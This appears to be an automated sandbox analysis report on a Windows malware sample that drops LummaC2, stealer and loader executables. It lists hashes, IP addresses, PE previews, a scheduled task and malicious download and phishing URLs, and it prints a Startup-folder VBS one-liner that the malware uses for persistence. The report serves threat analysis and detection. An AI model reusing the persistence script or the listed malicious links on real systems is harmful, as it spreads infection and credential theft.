	https://mail.kb4.io/XT0VNMzRJS3djRnBKZnFha1JaVThBUHFHRmpuS2FmSUY4aUszUlY3Sm0rWmpyUWR3ekQzL2xjN0xhVVJlTzhvZzgyMGtTUkxmSWtGdWlUY2I0NStmRWlLS2xHcGZsNTZUN3VyanNiKzVaNjhaeTRSTXFXVGdwc0J4amUxRFFPMU5DTTd5ejl5aXZxUlBwL1NDaDBRSk9DWVJkc09KRUZodTl0SFh5bFVVWEdYZTMzcm5ZTCtCSGpmZWRIMEprQjhiZExvOE9wSGkwUS9KTjQwSVdjQT0tLVBNYWNLTzcyT0xCdDkzb3ItLURlVmNvdGI3d3BGenM5UWJzc1EreXc9PQ==?cid=2260646675	Get hash	malicious	Unknown	Browse	147.135.36.89
	setup.exe	Get hash	malicious	Unknown	Browse	147.135.36.89
	setup.exe	Get hash	malicious	Unknown	Browse	147.135.36.89
	dekont_001.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	147.135.36.89
	V9fubyadY6.exe	Get hash	malicious	Quasar	Browse	147.135.36.89
	(No subject) (93).eml	Get hash	malicious	HTMLPhisher	Browse	147.135.36.89
	https://onedrive.live.com/view.aspx?resid=8656653D19C3C7C0!sb98dbf79ab614921877689e4912e2fae&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL28vYy84NjU2NjUzZDE5YzNjN2MwL0VubV9qYmxocXlGSmgzYUo1SkV1TDY0QmtKQzA5SEFwTjV6cTh1YW5PSWxxNEE_ZT1pdGFpeGo&wd=target%28Sezione%20senza%20titolo.one%7Ccfe57f3b-5d7b-4d15-b045-f6fdb53b3776%2FRechnung%2039920898-43006843%20%5C%7C%20Ebner%20Media%20Group%7C205becae-dae9-4a36-907a-485bcab69387%2F%29&wdorigin=NavigationUrl	Get hash	malicious	Unknown	Browse	147.135.36.89
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	147.135.36.89
	https://1drv.ms/o/c/dfbe417e0dc15e08/Esl_LBLy3yNEou5UFJ-QxnIBMGmncz8uv1GwgEHKevm1cw?e=C2cldF	Get hash	malicious	Unknown	Browse	147.135.36.89
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
37f463bf4616ecd445d4a1937da06e19	X9d3758tok.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.134.233
	KMfWqiiMu0.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.134.233
	hwWxZRwpeL.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.134.233
	https://inspyrehomedesign.com/Ray-verify.html	Get hash	malicious	NetSupport RAT	Browse	162.159.134.233
	setup.exe	Get hash	malicious	Unknown	Browse	162.159.134.233
	setup.exe	Get hash	malicious	Unknown	Browse	162.159.134.233
	KTvTgKJSyw.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.134.233
	XS_Trade_AI-newest_release_.exe	Get hash	malicious	LummaC	Browse	162.159.134.233
	W9f3Fx6sL4.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.134.233
	Fa24c148.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	162.159.134.233

Process:	C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\ZVJQ5P3XZNPH9JRJ.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2177024
Entropy (8bit):	7.957186095544766
Encrypted:	false
SSDEEP:	49152:n/oG96mPxsramN2DHWNJtFZkJalxLKxndQzkD8wdHTXz5E1ZLoJZA5:ngBrrN2KNvFKJa7KxKgD1HZgZLyg
MD5:	82FFB0D94C7F912B03D1FEEE6F614605
SHA1:	F84EF7A098210160537648584909D6CD4F7CB6CB
SHA-256:	1F4559C2464E25078E6F0AE6B99990B6607C5ADC0D631D43BA380AE7DE51F0C1
SHA-512:	1CD4548CC0F382B76436D772BBF6A82F16CBA6E11CD4D528E3DEFB5DA735EA33FFE1220EDBEEFD409CA6B0F0B16CECE159D020B1F06F6338B273AB420CCC30D5
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,.......t...........@..........................@t......E!...@.................................P...d................................................................................................................... . .p.......v..................@....rsrc ............................@....idata ............................@... ..*.........................@...twbahnth.....pY.....................@...ahateppd......t.......!.............@....taggant.0....t.."....!.............@...........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\uhshdsh[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	2170880
Entropy (8bit):	7.993500190101558
Encrypted:	true
SSDEEP:	49152:6t9cQ6sm5uJalXkavn8WpNhrO21Mo40ot:6tyJI1avnP7d/1MO
MD5:	CB2BA55FF3D892A5300C0E6A246C670D
SHA1:	174E3C3290FF14EC98D77FBC124E641104392BDC
SHA-256:	26DD2EB24A1A84DD572604E370D8E59D271A703A02836CCB27C860DF25B66EBC
SHA-512:	A37AF4EB963C5ABC3B0A1DCC281B91B1BFE3136AE3826D737B2EEDB4BB8DE50600B9692819C06FF8839BDEFBC10E66499D07A0DD100827601B3453FDC429DA47
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 65%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...[..g..................!..........4!.. ...@!...@.. ........................!...........`..................................3!.O....@!......................`!...................................................... ............... ..H............text.....!.. ....!................. ..`.rsrc........@!.......!.............@..@.reloc.......`!.......!.............@..B.................3!.....H.......X. .d...........p[...V ..........................................(....&..(.....~....:....r...p.....(....o....s.........~.....~...........j(....r9..p~....o....t.....s.........F.o'...rc..p((....s..........:.{......o7...2.{....o8...:.{......o7...2.{....o8...f...{....o.....{....(\....s'........:.{......o7...2.{....o8...:.{......o7...2.{....o8...r...{....o.....{.......(^..."..(:...Bs;...s3........&...(U...~.:....r...ps5...z...s3...(W...*~.:....r...p

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2994688
Entropy (8bit):	6.537599599648618
Encrypted:	false
SSDEEP:	49152:6KTpAUwSS6eSNXM1dTPTLSoNTrR3LFG/yaRkz4sT:VTwSS6e2XM1tPTL3r9pzM
MD5:	8280E9C803DFF5258A0C452549B5953C
SHA1:	27EBB62FF372FFE1DE06EEDD3B0E1C70B2D6B6A1
SHA-256:	010DF829B95529730AA0840699E780B9176822DBEFC24864CCC134A790043A28
SHA-512:	A84ED79A370657385022A07E44988F3E7EBC9799EA658436FFC83A0040C258631E4DB71A4C6D5D90D44AB6F375E75A8ADEF874A2CADBBCEC9E2FF6560611B85B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............0...........@...........................0.......-...@.................................T...h................................................................................................................... . .........~..................@....rsrc ............................@....idata ............................@...ejiioxjp..+.......*.................@...itphzhqt......0.......-.............@....taggant.0....0.."....-.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\LummaC2[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	334848
Entropy (8bit):	6.761223756666625
Encrypted:	false
SSDEEP:	6144:+tWC7xvtddofKKrybbuMY88Jc/oZ3ipoOvYcOCL7E6tt7thlp4:+RZtddofKKrzHPJ3ii0bL7E6t7Z2
MD5:	FBA8F56206955304B2A6207D9F5E8032
SHA1:	F84CBCC3E34F4D2C8FEA97C2562F937E1E20FE28
SHA-256:	11227EAD147B4154C7BD21B75D7F130B498C9AD9B520CA1814C5D6A688C89B1B
SHA-512:	56E3A0823A7ABE08E1C9918D8FA32C574208B462B423AB6BDE03345C654B75785FDC3180580C0D55280644B3A9574983E925F2125C2D340CF5E96B98237E99FA
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L......g.................D........................@.......................................@.................................R....................................K...................................................................................text....B.......D.................. ..`.rdata..'%...`...&...H..............@..@.data............b...n..............@....reloc...K.......L..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	334848
Entropy (8bit):	6.761223756666625
Encrypted:	false
SSDEEP:	6144:+tWC7xvtddofKKrybbuMY88Jc/oZ3ipoOvYcOCL7E6tt7thlp4:+RZtddofKKrzHPJ3ii0bL7E6t7Z2
MD5:	FBA8F56206955304B2A6207D9F5E8032
SHA1:	F84CBCC3E34F4D2C8FEA97C2562F937E1E20FE28
SHA-256:	11227EAD147B4154C7BD21B75D7F130B498C9AD9B520CA1814C5D6A688C89B1B
SHA-512:	56E3A0823A7ABE08E1C9918D8FA32C574208B462B423AB6BDE03345C654B75785FDC3180580C0D55280644B3A9574983E925F2125C2D340CF5E96B98237E99FA
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L......g.................D........................@.......................................@.................................R....................................K...................................................................................text....B.......D.................. ..`.rdata..'%...`...&...H..............@..@.data............b...n..............@....reloc...K.......L..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	2170880
Entropy (8bit):	7.993500190101558
Encrypted:	true
SSDEEP:	49152:6t9cQ6sm5uJalXkavn8WpNhrO21Mo40ot:6tyJI1avnP7d/1MO
MD5:	CB2BA55FF3D892A5300C0E6A246C670D
SHA1:	174E3C3290FF14EC98D77FBC124E641104392BDC
SHA-256:	26DD2EB24A1A84DD572604E370D8E59D271A703A02836CCB27C860DF25B66EBC
SHA-512:	A37AF4EB963C5ABC3B0A1DCC281B91B1BFE3136AE3826D737B2EEDB4BB8DE50600B9692819C06FF8839BDEFBC10E66499D07A0DD100827601B3453FDC429DA47
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 65%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...[..g..................!..........4!.. ...@!...@.. ........................!...........`..................................3!.O....@!......................`!...................................................... ............... ..H............text.....!.. ....!................. ..`.rsrc........@!.......!.............@..@.reloc.......`!.......!.............@..B.................3!.....H.......X. .d...........p[...V ..........................................(....&..(.....~....:....r...p.....(....o....s.........~.....~...........j(....r9..p~....o....t.....s.........F.o'...rc..p((....s..........:.{......o7...2.{....o8...:.{......o7...2.{....o8...f...{....o.....{....(\....s'........:.{......o7...2.{....o8...:.{......o7...2.{....o8...r...{....o.....{.......(^..."..(:...Bs;...s3........&...(U...~.:....r...ps5...z...s3...(W...*~.:....r...p

C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2177024
Entropy (8bit):	7.957186095544766
Encrypted:	false
SSDEEP:	49152:n/oG96mPxsramN2DHWNJtFZkJalxLKxndQzkD8wdHTXz5E1ZLoJZA5:ngBrrN2KNvFKJa7KxKgD1HZgZLyg
MD5:	82FFB0D94C7F912B03D1FEEE6F614605
SHA1:	F84EF7A098210160537648584909D6CD4F7CB6CB
SHA-256:	1F4559C2464E25078E6F0AE6B99990B6607C5ADC0D631D43BA380AE7DE51F0C1
SHA-512:	1CD4548CC0F382B76436D772BBF6A82F16CBA6E11CD4D528E3DEFB5DA735EA33FFE1220EDBEEFD409CA6B0F0B16CECE159D020B1F06F6338B273AB420CCC30D5
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,.......t...........@..........................@t......E!...@.................................P...d................................................................................................................... . .p.......v..................@....rsrc ............................@....idata ............................@... ..*.........................@...twbahnth.....pY.....................@...ahateppd......t.......!.............@....taggant.0....t.."....!.............@...........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2994688
Entropy (8bit):	6.537599599648618
Encrypted:	false
SSDEEP:	49152:6KTpAUwSS6eSNXM1dTPTLSoNTrR3LFG/yaRkz4sT:VTwSS6e2XM1tPTL3r9pzM
MD5:	8280E9C803DFF5258A0C452549B5953C
SHA1:	27EBB62FF372FFE1DE06EEDD3B0E1C70B2D6B6A1
SHA-256:	010DF829B95529730AA0840699E780B9176822DBEFC24864CCC134A790043A28
SHA-512:	A84ED79A370657385022A07E44988F3E7EBC9799EA658436FFC83A0040C258631E4DB71A4C6D5D90D44AB6F375E75A8ADEF874A2CADBBCEC9E2FF6560611B85B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............0...........@...........................0.......-...@.................................T...h................................................................................................................... . .........~..................@....rsrc ............................@....idata ............................@...ejiioxjp..+.......*.................@...itphzhqt......0.......-.............@....taggant.0....0.."....-.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1909248
Entropy (8bit):	7.949190686806794
Encrypted:	false
SSDEEP:	24576:op4oVLircQ3wpYTLedNutXvahrg+t+DxPdger94k3P6NhHSKl4gMRBfprvCNEMwJ:oTVivwa/u2ckg4g2h6Co4gMHpMwyJ
MD5:	B4C91D3735C11A3932389CDDE5058260
SHA1:	2450673980800DA6C9CA01682342AEBAB53481C0
SHA-256:	FA9ACE1399679C06348F90DB37646C738FC709406EDE9367E02C18067C2C6081
SHA-512:	D17FB2461D3B04AB7152DD26F31E012D50DE6EC08A7FC47E1A6C56186839AE70FA87A7A5FBC8EED6DBDF5383B0A79992F39BD97234E64E7AA3DDA2DB9E65F140
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 55%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....@.f.............................`K...........@...........................K...../.....@.................................W...k...........................`DK..............................DK..................................................... . ............................@....rsrc...............................@....idata ............................@... ..*.........................@...puhiakkr.....@1.....................@...kzukqnss.....PK.....................@....taggant.0...`K.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2838528
Entropy (8bit):	6.493835301781505
Encrypted:	false
SSDEEP:	49152:hB7Lsq3Y5sVCMfyPfrUF8gHZrOCOox7SkPFA:hB3sGYkCOyPfru5rEoxW4FA
MD5:	473C91C8363CF492CF6192686E4AEAE8
SHA1:	4F56B6E25BBF8BB424A3FBB398040D980850A046
SHA-256:	265C128A8A9421847DEA2121AE5CE79EFB601616C4FD060FF9863F4C2C498C2F
SHA-512:	09CEBC8843D1F3AACC502AF0E55736E24D7675DED01C7E402820CEFDA513D4826A7E91167CC548A1B356BF58DEFEAF3A456F08E24BC42D6B560382E351D73C12
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 34%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............+.. ...`....@.. ........................,......h+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...bbzqfojp..+.........:..............@...ynvwdqnr. ....+......+.............@....taggant.@....+.."....+.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2838528
Entropy (8bit):	6.493835301781505
Encrypted:	false
SSDEEP:	49152:hB7Lsq3Y5sVCMfyPfrUF8gHZrOCOox7SkPFA:hB3sGYkCOyPfru5rEoxW4FA
MD5:	473C91C8363CF492CF6192686E4AEAE8
SHA1:	4F56B6E25BBF8BB424A3FBB398040D980850A046
SHA-256:	265C128A8A9421847DEA2121AE5CE79EFB601616C4FD060FF9863F4C2C498C2F
SHA-512:	09CEBC8843D1F3AACC502AF0E55736E24D7675DED01C7E402820CEFDA513D4826A7E91167CC548A1B356BF58DEFEAF3A456F08E24BC42D6B560382E351D73C12
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 34%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............+.. ...`....@.. ........................,......h+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...bbzqfojp..+.........:..............@...ynvwdqnr. ....+......+.............@....taggant.@....+.."....+.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysHost.vbs

Download File

Process:	C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	83
Entropy (8bit):	4.7922170353554225
Encrypted:	false
SSDEEP:	3:FER/n0eFHHoUkh4EaKC5StXACHn:FER/lFHI9aZ5eF
MD5:	BAA42B2B52878E53D9280C7332182046
SHA1:	5CDE34FD299B2019A4321DBDF765DD4723E544B4
SHA-256:	89814374585F18EB58B714F477DEAED3A24073977676E1776A7AD8405D0B45CB
SHA-512:	3982CDC0B593138515AD19BE51CFAFBFE77A33B2BC765EDB05F40A2784732273E3FCA8717F39EB917D4097738155E979DD49CE8B97B6355A455BB4D79A2931BA
Malicious:	true
Preview:	CreateObject("WScript.Shell").Run """C:\Users\user\AppData\Roaming\SysHost.exe"""

C:\Users\user\AppData\Roaming\SysHost.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	modified
Size (bytes):	2170880
Entropy (8bit):	7.993500190101558
Encrypted:	true
SSDEEP:	49152:6t9cQ6sm5uJalXkavn8WpNhrO21Mo40ot:6tyJI1avnP7d/1MO
MD5:	CB2BA55FF3D892A5300C0E6A246C670D
SHA1:	174E3C3290FF14EC98D77FBC124E641104392BDC
SHA-256:	26DD2EB24A1A84DD572604E370D8E59D271A703A02836CCB27C860DF25B66EBC
SHA-512:	A37AF4EB963C5ABC3B0A1DCC281B91B1BFE3136AE3826D737B2EEDB4BB8DE50600B9692819C06FF8839BDEFBC10E66499D07A0DD100827601B3453FDC429DA47
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 65%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...[..g..................!..........4!.. ...@!...@.. ........................!...........`..................................3!.O....@!......................`!...................................................... ............... ..H............text.....!.. ....!................. ..`.rsrc........@!.......!.............@..@.reloc.......`!.......!.............@..B.................3!.....H.......X. .d...........p[...V ..........................................(....&..(.....~....:....r...p.....(....o....s.........~.....~...........j(....r9..p~....o....t.....s.........F.o'...rc..p((....s..........:.{......o7...2.{....o8...:.{......o7...2.{....o8...f...{....o.....{....(\....s'........:.{......o7...2.{....o8...:.{......o7...2.{....o8...r...{....o.....{.......(^..."..(:...Bs;...s3........&...(U...~.:....r...ps5...z...s3...(W...*~.:....r...p

C:\Windows\Tasks\axplong.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	3.3815813886818287
Encrypted:	false
SSDEEP:	6:peiJ71bX45ZsUEZ+lX1lOJUPelkDdtFXqYEp5t/uy0lPdut0:p9J71rDQ1lOmeeDNfXVPEt0
MD5:	9CAEBFC9FC72083686F69B171C50898F
SHA1:	82D41EF5CC67A9D4B6354C43D422620FB5580983
SHA-256:	017ED0A9BCE1E2155008AFF7B0A5601F4E04813F19BAD6A0BC99BF94ED7C8907
SHA-512:	A8A1E3FE6A6D113B38D2C43293E440B12AF1DEEFA7BEA41954AEDF028F0DE15CAC50BA55592AA8A5C8285D79897A5AD061184B488D8BE98B08A7479FF60AFA90
Malicious:	false
Preview:	........G.:D..-.0U.F.......<... .....s.......... ....................:.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.4.4.1.1.1.d.b.c.4.9.\.a.x.p.l.o.n.g...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.949190686806794
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'909'248 bytes
MD5:	b4c91d3735c11a3932389cdde5058260
SHA1:	2450673980800da6c9ca01682342aebab53481c0
SHA256:	fa9ace1399679c06348f90db37646c738fc709406ede9367e02c18067c2c6081
SHA512:	d17fb2461d3b04ab7152dd26f31e012d50de6ec08a7fc47e1a6c56186839ae70fa87a7a5fbc8eed6dbdf5383b0a79992f39bd97234e64e7aa3dda2db9e65f140
SSDEEP:	24576:op4oVLircQ3wpYTLedNutXvahrg+t+DxPdger94k3P6NhHSKl4gMRBfprvCNEMwJ:oTVivwa/u2ckg4g2h6Co4gMHpMwyJ
TLSH:	C495336401C2562CCB7E157645FFFACF273059AA093D6C3A6E2BE65F805F0E08194DBA
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8b6000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66A240BE [Thu Jul 25 12:10:38 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F31006F7DDAh
ltr word ptr [00000000h]
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], ch
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
